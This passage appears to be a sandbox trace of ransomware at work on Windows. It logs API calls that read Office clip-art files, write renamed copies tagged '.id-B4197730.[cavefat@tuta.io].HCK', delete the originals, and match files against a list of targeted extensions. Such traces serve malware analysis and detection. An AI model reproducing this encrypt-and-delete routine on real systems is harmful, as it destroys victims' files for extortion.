lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.916] SetEndOfFile (hFile=0x380) returned 1 [0159.916] CloseHandle (hObject=0x380) returned 1 [0159.917] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.917] SetEndOfFile (hFile=0x390) returned 1 [0159.918] CloseHandle (hObject=0x390) returned 1 [0159.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0159.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.919] lstrlenW (lpString=".doc") returned 4 [0159.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.919] lstrlenW (lpString=".docx") returned 5 [0159.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.919] lstrlenW (lpString=".pdf") returned 4 [0159.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.919] lstrlenW (lpString=".xls") returned 4 [0159.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.919] lstrlenW (lpString=".xlsx") returned 5 [0159.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.919] lstrlenW (lpString=".ppt") returned 4 [0159.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.919] lstrlenW (lpString=".zip") returned 4 [0159.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.919] lstrlenW (lpString=".rar") returned 4 [0159.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.919] lstrlenW (lpString=".bz2") returned 4 [0159.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.919] lstrlenW (lpString=".7z") returned 3 [0159.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.919] lstrlenW (lpString=".dbf") returned 4 [0159.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.919] lstrlenW (lpString=".1cd") returned 4 [0159.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.919] lstrlenW (lpString=".jpg") returned 4 [0159.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.920] lstrlenW (lpString=".doc") returned 4 [0159.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.920] lstrlenW (lpString=".docx") returned 5 [0159.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.920] lstrlenW (lpString=".pdf") returned 4 [0159.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.920] lstrlenW (lpString=".xls") returned 4 [0159.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.920] lstrlenW (lpString=".xlsx") returned 5 [0159.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.920] lstrlenW (lpString=".ppt") returned 4 [0159.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.920] lstrlenW (lpString=".zip") returned 4 [0159.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.920] lstrlenW (lpString=".rar") returned 4 [0159.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.920] lstrlenW (lpString=".bz2") returned 4 [0159.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.920] lstrlenW (lpString=".7z") returned 3 [0159.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.920] lstrlenW (lpString=".dbf") returned 4 [0159.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.920] lstrlenW (lpString=".1cd") returned 4 [0159.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0159.920] lstrlenW (lpString=".jpg") returned 4 [0159.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.920] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.920] lstrlenW (lpString="FD01659_.WMF") returned 12 [0159.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.921] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=31180) returned 1 [0159.921] CloseHandle (hObject=0x390) returned 1 [0159.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220 [0159.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.921] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.921] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.922] GetLastError () returned 0x0 [0159.922] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x79cc, lpOverlapped=0x0) returned 1 [0159.923] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x79d0, lpOverlapped=0x0) returned 1 [0159.925] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.925] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.925] SetEndOfFile (hFile=0x380) returned 1 [0159.926] CloseHandle (hObject=0x380) returned 1 [0159.927] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.927] SetEndOfFile (hFile=0x390) returned 1 [0159.927] CloseHandle (hObject=0x390) returned 1 [0159.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0159.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.928] lstrlenW (lpString=".doc") returned 4 [0159.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.928] lstrlenW (lpString=".docx") returned 5 [0159.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.928] lstrlenW (lpString=".pdf") returned 4 [0159.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.928] lstrlenW (lpString=".xls") returned 4 [0159.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.928] lstrlenW (lpString=".xlsx") returned 5 [0159.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.928] lstrlenW (lpString=".ppt") returned 4 [0159.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.928] lstrlenW (lpString=".zip") returned 4 [0159.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.928] lstrlenW (lpString=".rar") returned 4 [0159.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.928] lstrlenW (lpString=".bz2") returned 4 [0159.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.929] lstrlenW (lpString=".7z") returned 3 [0159.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.929] lstrlenW (lpString=".dbf") returned 4 [0159.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.929] lstrlenW (lpString=".1cd") returned 4 [0159.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.929] lstrlenW (lpString=".jpg") returned 4 [0159.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.929] lstrlenW (lpString=".doc") returned 4 [0159.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.929] lstrlenW (lpString=".docx") returned 5 [0159.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.929] lstrlenW (lpString=".pdf") returned 4 [0159.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.929] lstrlenW (lpString=".xls") returned 4 [0159.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.929] lstrlenW (lpString=".xlsx") returned 5 [0159.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.929] lstrlenW (lpString=".ppt") returned 4 [0159.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.929] lstrlenW (lpString=".zip") returned 4 [0159.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.929] lstrlenW (lpString=".rar") returned 4 [0159.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.929] lstrlenW (lpString=".bz2") returned 4 [0159.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.929] lstrlenW (lpString=".7z") returned 3 [0159.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.929] lstrlenW (lpString=".dbf") returned 4 [0159.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.929] lstrlenW (lpString=".1cd") returned 4 [0159.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0159.929] lstrlenW (lpString=".jpg") returned 4 [0159.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.930] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.930] lstrlenW (lpString="FD01660_.WMF") returned 12 [0159.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.930] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=12958) returned 1 [0159.930] CloseHandle (hObject=0x390) returned 1 [0159.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220 [0159.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.930] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.930] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.931] GetLastError () returned 0x0 [0159.931] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x329e, lpOverlapped=0x0) returned 1 [0159.932] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x32a0, lpOverlapped=0x0) returned 1 [0159.933] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.933] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.933] SetEndOfFile (hFile=0x380) returned 1 [0159.933] CloseHandle (hObject=0x380) returned 1 [0159.934] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.934] SetEndOfFile (hFile=0x390) returned 1 [0159.935] CloseHandle (hObject=0x390) returned 1 [0159.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0159.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.935] lstrlenW (lpString=".doc") returned 4 [0159.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.935] lstrlenW (lpString=".docx") returned 5 [0159.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.935] lstrlenW (lpString=".pdf") returned 4 [0159.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.935] lstrlenW (lpString=".xls") returned 4 [0159.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.936] lstrlenW (lpString=".xlsx") returned 5 [0159.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.936] lstrlenW (lpString=".ppt") returned 4 [0159.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.936] lstrlenW (lpString=".zip") returned 4 [0159.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.936] lstrlenW (lpString=".rar") returned 4 [0159.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString=".bz2") returned 4 [0159.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString=".7z") returned 3 [0159.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.936] lstrlenW (lpString=".dbf") returned 4 [0159.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.936] lstrlenW (lpString=".1cd") returned 4 [0159.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.936] lstrlenW (lpString=".jpg") returned 4 [0159.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.936] lstrlenW (lpString=".doc") returned 4 [0159.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString=".docx") returned 5 [0159.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.936] lstrlenW (lpString=".pdf") returned 4 [0159.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString=".xls") returned 4 [0159.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.936] lstrlenW (lpString=".xlsx") returned 5 [0159.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.936] lstrlenW (lpString=".ppt") returned 4 [0159.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.936] lstrlenW (lpString=".zip") returned 4 [0159.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.936] lstrlenW (lpString=".rar") returned 4 [0159.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString=".bz2") returned 4 [0159.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString=".7z") returned 3 [0159.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.937] lstrlenW (lpString=".dbf") returned 4 [0159.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.937] lstrlenW (lpString=".1cd") returned 4 [0159.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0159.937] lstrlenW (lpString=".jpg") returned 4 [0159.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.937] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.937] lstrlenW (lpString="FD02068_.WMF") returned 12 [0159.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.937] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2488) returned 1 [0159.937] CloseHandle (hObject=0x390) returned 1 [0159.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220 [0159.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.937] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.937] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.938] GetLastError () returned 0x0 [0159.938] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0160.331] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0160.336] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.336] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.336] SetEndOfFile (hFile=0x380) returned 1 [0161.443] CloseHandle (hObject=0x380) returned 1 [0161.488] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.488] SetEndOfFile (hFile=0x390) returned 1 [0161.489] CloseHandle (hObject=0x390) returned 1 [0161.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 